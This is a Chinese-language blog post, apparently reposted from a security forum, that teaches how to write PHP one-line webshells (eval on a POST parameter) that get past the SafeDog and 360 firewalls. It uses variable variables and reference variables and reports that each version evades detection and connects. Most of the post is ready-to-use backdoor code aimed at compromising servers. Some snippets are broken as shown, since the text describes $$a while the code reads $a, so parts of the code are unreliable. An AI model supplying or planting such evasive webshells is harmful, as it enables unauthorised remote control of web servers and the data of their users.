繞過安全狗與360PHP一句話的編寫

00x01安全狗的確是讓人很頭痛,尤其是在上傳一句話或者寫入一句話的時候,會被安全狗攔截從而拿不下shell。
當然,安全狗是最簡單的一款waf,很容易就進行一個繞過。
00x02
對於繞過安全狗跟360,我姿勢不多,但是卻很實用爲以下兩種

1.#可變變量
2.#引用變量

00x03
##可變變量(菜刀可能報錯)
  1. <@eval($_POST['x'])
複製代碼

經常使用的人都知道,只是最簡單的一句話,不過任何waf與規則
我們先來加入需要的函數
  1. <?php
  2. $a='b';
  3. $b=$_POST['x'];
  4. @eval($a);
複製代碼

我們先來測試下是否被殺 

可以看見,是成功過了安全狗,我們來測試下連接
 
並且成功可以連接
代碼分析#
  1. <?php 
  2. $a='b';
  3. $b=$_POST['x'];
  4. @eval($a);
  5. ?>
複製代碼


我們來看第二行代碼
  1. $a='b';
複製代碼

知道可變變量的人應該都能看懂吧,第三行$$a中的$a是b,也可以這麼說$a替換成b。
繼續看第三行
  1. $b=$_POST['x'];
複製代碼

根據第一行知道$$a就是$b,$b用來接收post 提交的數據  

最後第四行
  1. @eval($a);
複製代碼
執行$$a相當於執行了$a也就是$b. 最後,我們整合成一句話
  1. <?php $a='b'; $b=$_POST['x']; @eval($a);?>
複製代碼

                                     總結
1#  可變變量比較靈活對於過狗也比較簡單
2#  不過D盾只適合安全狗與360針對性比較高

00x04
##引用變量
  1. <@eval($_POST['x'])
複製代碼
還是原始一句話,我先寫出寫好的代碼
  1. <?php 
  2. $a=$_POST['x'];
  3. $b=&$a;
  4. @eval($b);
  5. ?>
複製代碼

我們繼續測試下是否被殺,
 
可以看見,一樣過了安全狗,我們繼續測試下是否可以連接
 
可以看見,已經連接上了,並且可以進行操作。
##代碼分析
  1. <?php 
  2. $a=$_POST['x'];
  3. $b=&$a;
  4. @eval($b);
  5. ?>
複製代碼

我們來看第二行代碼
  1. $a=$_POST['x'];
複製代碼

$a用來接收post提交的數據  
繼續看第三行代碼

  1. $b=&$a;
複製代碼

$b引用了$a的內存地址間接的相當於$b接收了post提交的數據
最後第四行代碼:
  1. @eval($b);
複製代碼

執行$b。最後我們來整合成一句話
  1. <?php $a=$_POST['x']; $b=&$a; @eval($b);?>
複製代碼

                                     總結(與可變變量一樣)
1#  可變變量比較靈活對於過狗也比較簡單

2#  不過D盾只適合安全狗與360針對性比較高



相關鏈接http://bbs.ichunqiu.com/thread-9012-1-1.html?from=csdnJG

發佈了46 篇原創文章 · 獲贊 15 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章